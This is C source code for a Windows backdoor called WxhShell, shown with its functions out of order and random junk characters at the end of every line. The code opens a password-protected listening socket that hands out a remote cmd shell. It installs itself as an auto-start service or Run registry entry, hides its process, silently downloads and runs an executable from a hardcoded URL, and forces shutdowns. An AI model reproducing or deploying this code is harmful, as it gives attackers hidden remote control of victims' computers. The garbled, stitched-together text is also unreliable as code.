  // 关机 ]w/%>  
  case 'd': { [~5<['G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t 2Y2v2 J  
    if(Boot(SHUTDOWN)) I&Z+FL&@f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c2~oPUj  
    else { [kKg?I$D@B  
    closesocket(wsh); Dd' 4W  
    ExitThread(0); lU8X{SV!  
    } N_o|2  
    break; .T*89cEu  
    } j 21>\K!p  
  // 获取shell a0)]W%F  
  case 's': { LB\+*P6QM  
    CmdShell(wsh); ;=lQMKx0  
    closesocket(wsh); DP6>fzsl  
    ExitThread(0); s$ZKd  
    break; shuoEeoo  
  } r"$~Gg.%(  
  // 退出 kJNu2S  
  case 'x': { c.{t +OR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j|w_BO 9  
    CloseIt(wsh); fqm-?vy}  
    break; *5z"Xy3J  
    } K06x7W  
  // 离开 As+^6  
  case 'q': { @p [ml m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X*< !_3  
    closesocket(wsh); l|L ]==M  
    WSACleanup(); VpyqVbx1  
    exit(1); EXizRL-9o  
    break; uGY(`  
        } *T-v^ndJh  
  } f5P@PG]{  
  } i:n1Di1~E  
I*EHZctH  
  // 提示信息 |'!9mvt=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M d.^r5r  
} Q=?YY-*$  
  } u,`cmyZ  
>p>B-m  
  return; ~ yu\vqN  
} V7)<MY  
Q7pjF`wu  
// shell模块句柄 ;R*tT%Z,  
int CmdShell(SOCKET sock) 4YyVh.x  
{ W0\ n?$ZC~  
STARTUPINFO si; I!u fw\[  
ZeroMemory(&si,sizeof(si)); bF c %  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ve*m\DU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WVdF/H  
PROCESS_INFORMATION ProcessInfo; @XN*H- |  
char cmdline[]="cmd"; (dHil#l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4Ixu%  
  return 0; _5H0<%\  
} UE 1tm  
fYiof]v@_m  
// 自身启动模式 :89AYqT"  
int StartFromService(void) Rd ,5 &X$  
{ ij&T \):d  
typedef struct 2yPF'Q7u_.  
{ @2/ xu  
  DWORD ExitStatus; 6\NBU,lY  
  DWORD PebBaseAddress; nEfQLkb[|  
  DWORD AffinityMask; 8^5@J) R8  
  DWORD BasePriority; m:]60koz]o  
  ULONG UniqueProcessId; dw3H9(-lp  
  ULONG InheritedFromUniqueProcessId; Z3N^)j8  
}   PROCESS_BASIC_INFORMATION; yv2wQ_({  
Lem:zXj  
PROCNTQSIP NtQueryInformationProcess; ?vg|;Q  
gh<2i\})'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,A;wLI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VL8yL`~zc.  
3) _(t.$D  
  HANDLE             hProcess; @  Br?  
  PROCESS_BASIC_INFORMATION pbi; A ^X1  
H'x) [2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }HxC ~J"  
  if(NULL == hInst ) return 0; ]?UK98uS\A  
JqP~2,T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n7iIY4gZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VY j pl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ct9dV7SH  
18AlQ+')?w  
  if (!NtQueryInformationProcess) return 0; VdF<#(X+  
9N;y^ Y\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0<u(!iL  
  if(!hProcess) return 0; 2W6t0MgZ  
de,4M s!%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fea4Ul{ib  
A*TO0L  
  CloseHandle(hProcess); 6a4-VX5  
@0fiui_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fg^Z g\X3  
if(hProcess==NULL) return 0; +W^$my)<  
"q3W& @  
HMODULE hMod; 3GM9ZPeN:  
char procName[255]; Km!~zG7<  
unsigned long cbNeeded; NzG] nsw  
6&[rA TU+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7Lx =VX#]q  
lzK,VZ=mM  
  CloseHandle(hProcess); C>Cb  
%d2\4{{S  
if(strstr(procName,"services")) return 1; // 以服务启动 llRQxk  
\!s0H_RJY  
  return 0; // 注册表启动 hg+0!DVx  
} FSA"U9 w<  
aJSBG|IC  
// 主模块 9 M!U@>  
int StartWxhshell(LPSTR lpCmdLine) K%3{a=1  
{ <iN xtD0  
  SOCKET wsl; QO <.l`F  
BOOL val=TRUE;  3;f}w g  
  int port=0; 'FwNQzzt  
  struct sockaddr_in door; :i/uRR  
0%;y'd**Ck  
  if(wscfg.ws_autoins) Install(); *L=F2wW  
BiD}C  
port=atoi(lpCmdLine); H\<^p",`  
=O'>H](Q  
if(port<=0) port=wscfg.ws_port; TmUN@h  
1 2J#}|  
  WSADATA data; "cx#6Bo|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  :qrCqFl  
u8Oo@xf0Fr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    9t_N 9@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zi= gOm  
  door.sin_family = AF_INET; $-"V 2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F.@U X{J  
  door.sin_port = htons(port); %617f=(E?!  
nW!pOTJq21  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &ngG_y8}&  
closesocket(wsl); M}qrF~   
return 1; d D;r35h=  
} :y3e-lr  
ILMXWw  
  if(listen(wsl,2) == INVALID_SOCKET) { 7N}==T89[  
closesocket(wsl); faPgp  
return 1; IT0 [;eqR  
} \4"01:u'  
  Wxhshell(wsl); mH5[(?   
  WSACleanup(); 95b65f  
!y-,r4\@`  
return 0; :2E?|}`7\  
/6nj 4.xxc  
} t{o&$s93  
3B3l)eX  
// 以NT服务方式启动 A v[|G4n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WzdE XcY  
{ hVd PO  
DWORD   status = 0; yvt :/X  
  DWORD   specificError = 0xfffffff; Pef$-3aP>E  
prCr"y` M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0qhSV B5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -/gAb<=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6*%E4#4  
  serviceStatus.dwWin32ExitCode     = 0; vz}_^8O  
  serviceStatus.dwServiceSpecificExitCode = 0; P"ATqQG%D  
  serviceStatus.dwCheckPoint       = 0; l_0/g^(  
  serviceStatus.dwWaitHint       = 0; _p,1m[&M  
Oj0,Urs7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m1,yf*U  
  if (hServiceStatusHandle==0) return; ,R5z`O  
'o% .Q x  
status = GetLastError(); b,o@ m  
  if (status!=NO_ERROR) JmJNq$2#c  
{ ,c.(&@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t+%tN^87:  
    serviceStatus.dwCheckPoint       = 0; 5_E,x  
    serviceStatus.dwWaitHint       = 0; ,'^^OLez  
    serviceStatus.dwWin32ExitCode     = status; j6r.HYX!  
    serviceStatus.dwServiceSpecificExitCode = specificError; I>(-&YbC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _0 $W;8X  
    return; ;vLg4k  
  } 4j VFzO%.  
X2S:"0?7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bbAJ5EqL  
  serviceStatus.dwCheckPoint       = 0; y-=YXqj  
  serviceStatus.dwWaitHint       = 0; #F25,:hY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y)#=8oci  
} aW@J]slg  
+ -OnO7f  
// 处理NT服务事件,比如:启动、停止 Nx^r&pr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E;)7#3gY1  
{ wh)Ujgd  
switch(fdwControl) 4Up \_  
{ !Ng~;2GoA  
case SERVICE_CONTROL_STOP: HYWKx><   
  serviceStatus.dwWin32ExitCode = 0; i)mQ?Y#o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \*.u (8~2o  
  serviceStatus.dwCheckPoint   = 0; $zYo~5M?i-  
  serviceStatus.dwWaitHint     = 0;  SE D_^  
  { D?6ah=:&R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V{+5Fas^l  
  } iIO_d4Z  
  return; &HIG776  
case SERVICE_CONTROL_PAUSE: GK\`8xWE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C Ch38qBp  
  break; 8zWKKcf7t  
case SERVICE_CONTROL_CONTINUE: GjGt' m*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l>iE1`iL<  
  break; #oQDt'  
case SERVICE_CONTROL_INTERROGATE: XWNDpL`j5  
  break; } D0Y8  
}; <Q|(dFr`v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J sc`^a%`'  
} -]e@FNL  
[lbe_G;  
// 标准应用程序主函数 g@][h_? {  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M<VZISu)dy  
{ (J,^)!g7  
,!'L~{  
// 获取操作系统版本 iQj2aK Gs  
OsIsNt=GetOsVer(); [|E|(@J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =!Ce#p?h,  
dPO|x+N,  
  // 从命令行安装 `ot <BwxJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); xXn2M*g  
P K9BowlW  
  // 下载执行文件 Ki{]5Rz  
if(wscfg.ws_downexe) { 'H.,S_v1x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $9m>(b/;n  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^s[OvJb  
} .GH#`j  
R<FW?z*  
if(!OsIsNt) { +Oa+G.;)o4  
// 如果时win9x,隐藏进程并且设置为注册表启动 NP< {WL#  
HideProc(); l7M![Ur  
StartWxhshell(lpCmdLine); 4!^flKZQ  
} oNK-^N?-T  
else B`1"4[{  
  if(StartFromService()) `-QY<STTP9  
  // 以服务方式启动 UYW{A G2C  
  StartServiceCtrlDispatcher(DispatchTable); , s .{R  
else Weu%&u-  
  // 普通方式启动 P@pJ^5Jf  
  StartWxhshell(lpCmdLine); cW*p}hD  
DgB]y6~KXl  
return 0; q/l@J3p[qm  
} R}VEq gq  
Al1BnFB  
*&A/0]w  
mw,\try  
=========================================== ,oS<9kC68  
2\, h "W(  
lhRo+X#G  
w=MiJr#3^  
Q@HW`@i  
8M9}os  
" $yY\[C  
i$b Het  
#include <stdio.h> u#sbr8Y  
#include <string.h> b2p;-rv  
#include <windows.h> Se>"=[=  
#include <winsock2.h> N@>o:(08  
#include <winsvc.h> 0^ IHBN?9  
#include <urlmon.h> 1`z^Xk8vt  
g Xi& S  
#pragma comment (lib, "Ws2_32.lib") yB~` A>~M  
#pragma comment (lib, "urlmon.lib") =n7 3bm  
uBXl ltU  
#define MAX_USER   100 // 最大客户端连接数 HJ+I;OJ  
#define BUF_SOCK   200 // sock buffer vE=)qn=a  
#define KEY_BUFF   255 // 输入 buffer ?O!'ZZX  
'}|sRuftb  
#define REBOOT     0   // 重启 `PVr;&  
#define SHUTDOWN   1   // 关机 {u4=*> ?G  
s)<^YASg  
#define DEF_PORT   5000 // 监听端口 m\O|BMHn  
c2iPm9"eh  
#define REG_LEN     16   // 注册表键长度 rs?"pGz;  
#define SVC_LEN     80   // NT服务名长度 @M!Wos Rk  
c 6"hk_  
// 从dll定义API Fs|aH-9\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lmjoSINy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;[}<xw3):  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .o?"=Epo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \gE6KE<?p  
u(92y]3,  
// wxhshell配置信息 `+>'18F  
struct WSCFG { S_EN,2'e  
  int ws_port;         // 监听端口 WP b4L9<  
  char ws_passstr[REG_LEN]; // 口令 K9 tuiD+j  
  int ws_autoins;       // 安装标记, 1=yes 0=no EX.`6,:+2  
  char ws_regname[REG_LEN]; // 注册表键名 fZ)M Dq  
  char ws_svcname[REG_LEN]; // 服务名 se:lKZZ]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =|_{J"sv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *#n?6KqZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gBZ1Weu-'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |&hu3-(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *'q6#\#.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PIxd'B*MF  
A,4|UA?-  
}; {vL4:K  
Ka$YKY,  
// default Wxhshell configuration o;D[ F  
struct WSCFG wscfg={DEF_PORT, tnCGa%M  
    "xuhuanlingzhe", k25:H[   
    1, =eNh))]  
    "Wxhshell", a?]"|tQ'  
    "Wxhshell", ;E{k+vkqy  
            "WxhShell Service", j>KJgSs]&\  
    "Wrsky Windows CmdShell Service", ]*M-8_D  
    "Please Input Your Password: ", ?z]h Ysy  
  1, -(Y(K!n  
  "http://www.wrsky.com/wxhshell.exe", %Gk?f=e  
  "Wxhshell.exe" (g8<"< N?  
    }; =ZaTD-%id  
ee0)%hc1t  
// 消息定义模块 viP.G/(\]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t"]+}]O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t|ih{0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _3lci  
char *msg_ws_ext="\n\rExit."; ,%zU5hh  
char *msg_ws_end="\n\rQuit."; nn0`A3  
char *msg_ws_boot="\n\rReboot..."; \ $PB~-Z  
char *msg_ws_poff="\n\rShutdown..."; @D3Y}nR:  
char *msg_ws_down="\n\rSave to "; `- \J/I  
37S  bF,G  
char *msg_ws_err="\n\rErr!"; 'p{N5eM  
char *msg_ws_ok="\n\rOK!"; {d%% nK~  
H(~:Ajj+zQ  
char ExeFile[MAX_PATH]; ?^< E#2a  
int nUser = 0; IJ`%Zh{f  
HANDLE handles[MAX_USER]; G; *jL4  
int OsIsNt; <+tSTc4>r  
l; ._ ?H  
SERVICE_STATUS       serviceStatus; T|{1,wP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A=z+@b6  
Tf bB1  
// 函数声明 R2 I 7d'|v  
int Install(void); <Xsy{7  
int Uninstall(void); {H5a.+-(bE  
int DownloadFile(char *sURL, SOCKET wsh); ~_ 8X%ut y  
int Boot(int flag); ])sIQ{P  
void HideProc(void); l|z0aF;z  
int GetOsVer(void); 1zDat@<H  
int Wxhshell(SOCKET wsl); :=iP_*#  
void TalkWithClient(void *cs); 8?> #  
int CmdShell(SOCKET sock); vl "l  
int StartFromService(void); cen[|yCtOH  
int StartWxhshell(LPSTR lpCmdLine); XmK2Xi;=b  
bAsoIra  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4zRz U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i`Tp +e@a>  
w'/ Mn+  
// 数据结构和表定义 ][jW2;A  
SERVICE_TABLE_ENTRY DispatchTable[] = l=*60Ag\J~  
{ a%"27 n(M  
{wscfg.ws_svcname, NTServiceMain}, 8{t^< j$n  
{NULL, NULL} QQnpy.`:/  
}; *" ("^_x\  
L>&o_bzp  
// 自我安装 Qrnc;H9)  
int Install(void) m=hlim;P,  
{ v|WTm#  
  char svExeFile[MAX_PATH]; [T(XwA)  
  HKEY key; 7H+IW4Ma  
  strcpy(svExeFile,ExeFile); 8K]5fkC|  
!6R;fD#^s  
// 如果是win9x系统,修改注册表设为自启动 "zn<\z$l  
if(!OsIsNt) { * 7<{Xbsj^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0I`)<o-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /oWn0  
  RegCloseKey(key); eYN =?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /*zngp @  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )nK-39,G  
  RegCloseKey(key); X4c|*U=4  
  return 0; EU@ BNja  
    } RWe$ZZSz!  
  } Q||v U  
} ?nLlZpZ2v  
else { Cw*:`  
W7_j;7'  
// 如果是NT以上系统,安装为系统服务 Em%0C@C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |B<;4ISaRI  
if (schSCManager!=0) BkP'b{z|  
{ nD8 Qeem@  
  SC_HANDLE schService = CreateService iB]xYfQ&@V  
  ( lhx"<kR 4  
  schSCManager, ;77#$H8)  
  wscfg.ws_svcname, X3bPBv  
  wscfg.ws_svcdisp, U/W<Sa\`  
  SERVICE_ALL_ACCESS, Hd/|f;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YT*_ vmJV  
  SERVICE_AUTO_START, bc?\lD$ $  
  SERVICE_ERROR_NORMAL, {Tps3{|wt  
  svExeFile, J|uxn<E<>  
  NULL, 5a`f % h%  
  NULL, hnk,U:7}  
  NULL, LXZ0up-B-  
  NULL, _6tir'z  
  NULL o4%H/|Oq.  
  ); /e2CB"c   
  if (schService!=0)  ^n5rUwS>  
  { B#|c$s{  
  CloseServiceHandle(schService); F1Jd-3ei  
  CloseServiceHandle(schSCManager); fAMk<?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #{m~=1%;Ya  
  strcat(svExeFile,wscfg.ws_svcname); 8l?mNapy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _+OnH!G0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qM$4c7'4P6  
  RegCloseKey(key); <WHu</  
  return 0; A>?_\<Gp  
    } j5rB+  
  } am'11a@*  
  CloseServiceHandle(schSCManager); TbUouoc  
} Qb.Ve7c  
} H n^)Xw  
*&=sL  
return 1; u . xUM  
} k Y}r^NaQA  
[1LlzCAFBw  
// 自我卸载 q)m0n237P  
int Uninstall(void) RjcU0$Hi  
{ )V6Bzn}9  
  HKEY key; DV8b<)  
+2KYtyI  
if(!OsIsNt) { sU|\? pJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M_OvIU(E  
  RegDeleteValue(key,wscfg.ws_regname); cbton<r~  
  RegCloseKey(key); ?ufX3yia  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !LunoC>B  
  RegDeleteValue(key,wscfg.ws_regname); +E7Os|m  
  RegCloseKey(key); nT;Rwz$3  
  return 0; +.EP_2f9  
  } Az`c? W%  
} UdiogXZ  
} ,:E*Mw:  
else { \~(scz$  
mSg{0_:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }Ai_peO0a  
if (schSCManager!=0) T"b'T>Y  
{ MMQ^&!H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mB.j?@Y%  
  if (schService!=0) MXsCm(  
  { mBrH`!  
  if(DeleteService(schService)!=0) { j_ \?ampF  
  CloseServiceHandle(schService); MR?5p8S#g  
  CloseServiceHandle(schSCManager); |+aUy^  
  return 0; -](NMRqfN  
  } 9i=HZ\s3  
  CloseServiceHandle(schService); 6w"_sK?  
  } Ue=Je~Ri;9  
  CloseServiceHandle(schSCManager); +=V[7^K;  
} x @a3STKT  
} ]SO-NR  
MyJ\/`8  
return 1; Z]QpH<Z  
} '&;s32']}  
^?~WIS  
// 从指定url下载文件 xnR;#Yc  
int DownloadFile(char *sURL, SOCKET wsh) y37c&XYq  
{ |*T`3@R;3  
  HRESULT hr; ;UAi>//#   
char seps[]= "/"; Qvx[F:#Tk  
char *token; P4VMGP  
char *file; )Z"  
char myURL[MAX_PATH]; ~~B`\!n7  
char myFILE[MAX_PATH]; t++ a  
5Y3L  
strcpy(myURL,sURL); l!d |luqbA  
  token=strtok(myURL,seps); &>xd6-  
  while(token!=NULL) (v)/h>vS  
  { TpSv7kT]  
    file=token; -r'/PbV0  
  token=strtok(NULL,seps); m-v0=+~&  
  } v|7=IJ  
Xa xM$  
GetCurrentDirectory(MAX_PATH,myFILE); 4pJ #fkc^  
strcat(myFILE, "\\"); Bn<1zg5  
strcat(myFILE, file); "8-;Dq'+  
  send(wsh,myFILE,strlen(myFILE),0); 9K6G%  
send(wsh,"...",3,0); Bw{enf$vR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,bGYixIfYZ  
  if(hr==S_OK) 8k0f&Cak=  
return 0; QF74'  
else S=@bb$4-T  
return 1; TOx >Z  
}<9IH%sgF  
} ] oMtqkiR  
eJvNUBDSH  
// 系统电源模块  n$u@v(I  
int Boot(int flag) Bs!F |x(  
{ qj #C8Tc7  
  HANDLE hToken; uE]Z,`e  
  TOKEN_PRIVILEGES tkp; * q$O6B-  
A hCqQ.O71  
  if(OsIsNt) { >* )fmfY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^aONuG9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }ZKG-~  
    tkp.PrivilegeCount = 1; .*k$abb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~x-v%x6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I" hlLP  
if(flag==REBOOT) { i>aIuQ`pe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I)AbH<G{  
  return 0; S%p.|!  
} Ds<~JfVl  
else { +I>V9%%vW_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $[xS>iuD  
  return 0; Mjj5~by:  
} Pl\r|gS;  
  } QUO'{;,  
  else { Yf?hl  
if(flag==REBOOT) { 51Q m2,P1^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q|7$SS6$  
  return 0; Zn{Y+ce7d  
} {u (( y D  
else { TCLXO0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pea2ENe3  
  return 0; B4M rrW4=  
} 1va~.;/rG  
} :AYhBhitC  
Rh :|ij>B  
return 1; "2=v:\~=  
} ~#];&WE  
B~h3naSe  
// win9x进程隐藏模块 _g2"D[I%  
void HideProc(void) *mjPNp'3{m  
{ (Zz8 ldO  
dQQ!QbI(.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6BdK)s  
  if ( hKernel != NULL ) ) -^(Su(!  
  { xh:A*ZI=7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dI?x&#(vw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =3dR-3  
    FreeLibrary(hKernel); *w`_(X f  
  } s|[CvjL#0  
w\zNn4B})A  
return; kQw%Wpuq[/  
} [aF"5G  
%5 ovW<E:  
// 获取操作系统版本 WS6;ad;|  
int GetOsVer(void) BS|$-i5L  
{ HD YWDp  
  OSVERSIONINFO winfo; 7SJbrOL4Q-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;u*I#)7  
  GetVersionEx(&winfo); %:!ILN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <;lwvO  
  return 1; ey@{Ng#  
  else E;rS"'D:  
  return 0; `V2doV)  
} HJ+ Q7)  
v83@J~  
// 客户端句柄模块  Eyq4w  
int Wxhshell(SOCKET wsl) X6Q\NJ"B  
{ H{4_,2h =m  
  SOCKET wsh; :SD#>eD0  
  struct sockaddr_in client; =eyPo(B  
  DWORD myID; mfx-Ja_a  
5q;c=oRUj  
  while(nUser<MAX_USER) TXS{=  
{ Sfa;;7W@R  
  int nSize=sizeof(client); p|>m 2(|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;Sl%I+?  
  if(wsh==INVALID_SOCKET) return 1; KsSIX  
-nQ(.#-n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x8o/m$[,=u  
if(handles[nUser]==0) +n>p"+c  
  closesocket(wsh); QmC#1%@a  
else  c+upoM  
  nUser++; MG,)|XpyWJ  
  } ZV ;~IaBL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `d}t?qWS;F  
t"nxny9&  
  return 0; 7nPjeh  
} va2FgW`Bd+  
,*.qa0E#W  
// 关闭 socket J -z <&9  
void CloseIt(SOCKET wsh) 6>gm!6`  
{ 3Dx@rW\  
closesocket(wsh); - VdCj%r>  
nUser--; 9Cs/B*3)b  
ExitThread(0); g=$nNQ \6=  
} (tCBbPW6T?  
zSagsH |W  
// 客户端请求句柄 2 b80b50  
void TalkWithClient(void *cs) %)w7t[A2D  
{ AAF']z<4_"  
B:VGa<lx5  
  SOCKET wsh=(SOCKET)cs; ](^FGz  
  char pwd[SVC_LEN]; &S39SV  
  char cmd[KEY_BUFF]; I23"DBR3  
char chr[1]; ~(`&hYE  
int i,j; uN=f( -"  
VA @  
  while (nUser < MAX_USER) { aUi^7;R&<  
k'NP+N<M  
if(wscfg.ws_passstr) { `$MO;Fv,G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @D$ogU,#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?_d3|]N  
  //ZeroMemory(pwd,KEY_BUFF); hd W7Qck"  
      i=0; XZ<8M}Lg  
  while(i<SVC_LEN) { :Bi 4z(  
= \M6s  
  // 设置超时 v0(_4U]/  
  fd_set FdRead; 2O}X-/H  
  struct timeval TimeOut; 7AF6aog  
  FD_ZERO(&FdRead); =@D H hg  
  FD_SET(wsh,&FdRead); 7- |N&u  
  TimeOut.tv_sec=8; LRR)T: e}q  
  TimeOut.tv_usec=0; ?CldcxM#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ( 6ucA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |-TxX:O-  
|S]T,`7u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IdCE<Oj\  
  pwd=chr[0]; ,n`S ,  
  if(chr[0]==0xd || chr[0]==0xa) { uR.`8s|  
  pwd=0; 4|UtE<<b  
  break;  &\ K  
  } ?:6w6GwAA  
  i++; Bkg./iP5x  
    } -b)3+#f  
+R_s(2vz  
  // 如果是非法用户,关闭 socket _zkTx7H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *xN?5u%  
} 8Vy/n^3)  
@O|`r(le  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b#*"eZj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t]T't='  
G[=;519  
while(1) {  tYG6Gl  
= toU?:.  
  ZeroMemory(cmd,KEY_BUFF); 2J (nJT"  
8Y_lQfJa  
      // 自动支持客户端 telnet标准   TAq[g|N-;  
  j=0; ]MC5 uKn  
  while(j<KEY_BUFF) { cUO$IR)yL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \}AJ)v*<  
  cmd[j]=chr[0]; EHfB9%O7y  
  if(chr[0]==0xa || chr[0]==0xd) { R 5\|pC  
  cmd[j]=0; FD5OO;$  
  break; >3}N;  
  } Lj/  
  j++; (C.aQ)|T  
    } Fzt7@VNxc  
Z*IW*f&0>1  
  // 下载文件 a`zHx3Yg  
  if(strstr(cmd,"http://")) { %r&36d'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 39d$B'"<1  
  if(DownloadFile(cmd,wsh)) 6n;? :./  
